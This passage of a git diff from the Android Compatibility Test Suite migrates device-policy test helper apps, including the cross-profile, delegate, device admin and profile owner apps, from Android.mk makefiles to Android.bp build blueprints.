+++ b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsCrossProfileAppsTests",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    libs: ["junit"],
+    static_libs: [
+        "androidx.legacy_legacy-support-v4",
+        "ctstestrunner-axt",
+        "androidx.test.rules",
+        "truth-prebuilt",
+        "ub-uiautomator",
+    ],
+    sdk_version: "current",
+    min_sdk_version: "21",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/Android.mk b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/Android.mk
deleted file mode 100644
index 0239f6c..0000000
--- a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/Android.mk
+++ /dev/null
@@ -1,41 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsCrossProfileAppsTests
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_JAVA_LIBRARIES := cts-junit
-
-LOCAL_STATIC_JAVA_LIBRARIES = \
-	androidx.legacy_legacy-support-v4 \
-	ctstestrunner-axt \
-	androidx.test.rules \
-	truth-prebuilt \
-	ub-uiautomator
-
-LOCAL_SDK_VERSION := current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/CustomizationApp/Android.bp b/hostsidetests/devicepolicy/app/CustomizationApp/Android.bp
new file mode 100644
index 0000000..b8eb974
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CustomizationApp/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsCustomizationApp",
+    defaults: ["cts_defaults"],
+    test_suites: [
+        "arcts",
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    srcs: ["src/**/*.java"],
+    static_libs: [
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+    ],
+    libs: ["android.test.base.stubs"],
+    sdk_version: "test_current",
+    min_sdk_version: "24",
+}
diff --git a/hostsidetests/devicepolicy/app/CustomizationApp/Android.mk b/hostsidetests/devicepolicy/app/CustomizationApp/Android.mk
deleted file mode 100644
index c06a984..0000000
--- a/hostsidetests/devicepolicy/app/CustomizationApp/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsCustomizationApp
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    compatibility-device-util-axt \
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/Android.bp b/hostsidetests/devicepolicy/app/DelegateApp/Android.bp
new file mode 100644
index 0000000..5629371
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DelegateApp/Android.bp
@@ -0,0 +1,37 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsDelegateApp",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    libs: [
+        "android.test.runner.stubs",
+        "junit",
+        "android.test.base.stubs",
+    ],
+    static_libs: [
+        "androidx.legacy_legacy-support-v4",
+        "ctstestrunner-axt",
+        "androidx.test.rules",
+    ],
+    sdk_version: "current",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "arcts",
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/Android.mk b/hostsidetests/devicepolicy/app/DelegateApp/Android.mk
deleted file mode 100644
index 0eb904a..0000000
--- a/hostsidetests/devicepolicy/app/DelegateApp/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsDelegateApp
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit android.test.base.stubs
-
-LOCAL_STATIC_JAVA_LIBRARIES = \
-    androidx.legacy_legacy-support-v4 \
-    ctstestrunner-axt \
-    androidx.test.rules
-
-LOCAL_SDK_VERSION := current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAdmin/Android.bp b/hostsidetests/devicepolicy/app/DeviceAdmin/Android.bp
new file mode 100644
index 0000000..d8c4835
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAdmin/Android.bp
@@ -0,0 +1,63 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsDeviceAdminApp23",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    resource_dirs: ["res"],
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    sdk_version: "test_current",
+    min_sdk_version: "23",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    manifest: "api23/AndroidManifest.xml",
+}
+
+android_test_helper_app {
+    name: "CtsDeviceAdminApp24",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    resource_dirs: ["res"],
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    sdk_version: "test_current",
+    // TODO: should it be "24":
+    min_sdk_version: "23",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "arcts",
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    manifest: "api24/AndroidManifest.xml",
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAdmin/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdmin/Android.mk
deleted file mode 100644
index 31e193d..0000000
--- a/hostsidetests/devicepolicy/app/DeviceAdmin/Android.mk
+++ /dev/null
@@ -1,20 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/devicepolicy/app/DeviceAdmin/api23/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdmin/api23/Android.mk
deleted file mode 100644
index 0663e7c..0000000
--- a/hostsidetests/devicepolicy/app/DeviceAdmin/api23/Android.mk
+++ /dev/null
@@ -1,40 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsDeviceAdminApp23
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
-
-LOCAL_RESOURCE_DIR += $(LOCAL_PATH)/../res
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner-axt \
-    compatibility-device-util-axt
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_SDK_VERSION := current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAdmin/api24/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdmin/api24/Android.mk
deleted file mode 100644
index a7da461..0000000
--- a/hostsidetests/devicepolicy/app/DeviceAdmin/api24/Android.mk
+++ /dev/null
@@ -1,40 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsDeviceAdminApp24
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
-
-LOCAL_RESOURCE_DIR += $(LOCAL_PATH)/../res
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner-axt \
-    compatibility-device-util-axt
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_SDK_VERSION := current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/Android.bp b/hostsidetests/devicepolicy/app/DeviceAdminService/Android.bp
new file mode 100644
index 0000000..4800c11
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/Android.bp
@@ -0,0 +1,113 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsDeviceAdminService1",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    resource_dirs: ["res"],
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+    ],
+    libs: ["android.test.base.stubs"],
+    sdk_version: "test_current",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    manifest: "package1/AndroidManifest.xml",
+}
+
+android_test_helper_app {
+    name: "CtsDeviceAdminService2",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    resource_dirs: ["res"],
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+    ],
+    libs: ["android.test.base.stubs"],
+    sdk_version: "test_current",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    manifest: "package2/AndroidManifest.xml",
+}
+
+android_test_helper_app {
+    name: "CtsDeviceAdminService3",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    resource_dirs: ["res"],
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+    ],
+    libs: ["android.test.base.stubs"],
+    sdk_version: "test_current",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    manifest: "package3/AndroidManifest.xml",
+}
+
+android_test_helper_app {
+    name: "CtsDeviceAdminService4",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    resource_dirs: ["res"],
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+    ],
+    libs: ["android.test.base.stubs"],
+    sdk_version: "test_current",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    manifest: "package4/AndroidManifest.xml",
+}
+
+android_test_helper_app {
+    name: "CtsDeviceAdminServiceB",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    resource_dirs: ["res"],
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+    ],
+    libs: ["android.test.base.stubs"],
+    sdk_version: "test_current",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    manifest: "packageb/AndroidManifest.xml",
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdminService/Android.mk
deleted file mode 100644
index 4a74e80..0000000
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/Android.mk
+++ /dev/null
@@ -1,20 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/package1/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdminService/package1/Android.mk
deleted file mode 100644
index 2689607..0000000
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/package1/Android.mk
+++ /dev/null
@@ -1,38 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsDeviceAdminService1
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
-
-LOCAL_RESOURCE_DIR += $(LOCAL_PATH)/../res
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SDK_VERSION := current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/package2/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdminService/package2/Android.mk
deleted file mode 100644
index 4726b8d..0000000
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/package2/Android.mk
+++ /dev/null
@@ -1,38 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsDeviceAdminService2
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
-
-LOCAL_RESOURCE_DIR += $(LOCAL_PATH)/../res
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SDK_VERSION := current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/package3/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdminService/package3/Android.mk
deleted file mode 100644
index 8ac6307..0000000
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/package3/Android.mk
+++ /dev/null
@@ -1,38 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsDeviceAdminService3
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
-
-LOCAL_RESOURCE_DIR += $(LOCAL_PATH)/../res
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SDK_VERSION := current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/package4/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdminService/package4/Android.mk
deleted file mode 100644
index 32c061a..0000000
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/package4/Android.mk
+++ /dev/null
@@ -1,38 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsDeviceAdminService4
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
-
-LOCAL_RESOURCE_DIR += $(LOCAL_PATH)/../res
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SDK_VERSION := current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/packageb/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdminService/packageb/Android.mk
deleted file mode 100644
index 54493f2..0000000
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/packageb/Android.mk
+++ /dev/null
@@ -1,38 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsDeviceAdminServiceB
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
-
-LOCAL_RESOURCE_DIR += $(LOCAL_PATH)/../res
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SDK_VERSION := current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/Android.bp b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/Android.bp
new file mode 100644
index 0000000..1062d2e
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/Android.bp
@@ -0,0 +1,98 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsDeviceAndProfileOwnerApp23",
+    defaults: ["cts_defaults"],
+    platform_apis: true,
+    srcs: ["src/**/*.java"],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "ub-uiautomator",
+        "cts-security-test-support-library",
+        "androidx.legacy_legacy-support-v4",
+    ],
+    resource_dirs: ["res"],
+    asset_dirs: ["assets"],
+    min_sdk_version: "23",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    manifest: "api23/AndroidManifest.xml",
+}
+
+android_test_helper_app {
+    name: "CtsDeviceAndProfileOwnerApp25",
+    defaults: ["cts_defaults"],
+    platform_apis: true,
+    srcs: ["src/**/*.java"],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "ub-uiautomator",
+        "cts-security-test-support-library",
+        "androidx.legacy_legacy-support-v4",
+    ],
+    resource_dirs: ["res"],
+    asset_dirs: ["assets"],
+    min_sdk_version: "23",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    manifest: "api25/AndroidManifest.xml",
+}
+
+android_test_helper_app {
+    name: "CtsDeviceAndProfileOwnerApp",
+    defaults: ["cts_defaults"],
+    platform_apis: true,
+    srcs: ["src/**/*.java"],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "ub-uiautomator",
+        "cts-security-test-support-library",
+        "androidx.legacy_legacy-support-v4",
+    ],
+    resource_dirs: ["res"],
+    asset_dirs: ["assets"],
+    min_sdk_version: "23",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "arcts",
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    manifest: "latest/AndroidManifest.xml",
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/Android.mk b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/Android.mk
deleted file mode 100644
index 31e193d..0000000
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/Android.mk
+++ /dev/null
@@ -1,20 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/Android.mk b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/Android.mk
deleted file mode 100644
index 0002333..0000000
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/Android.mk
+++ /dev/null
@@ -1,50 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
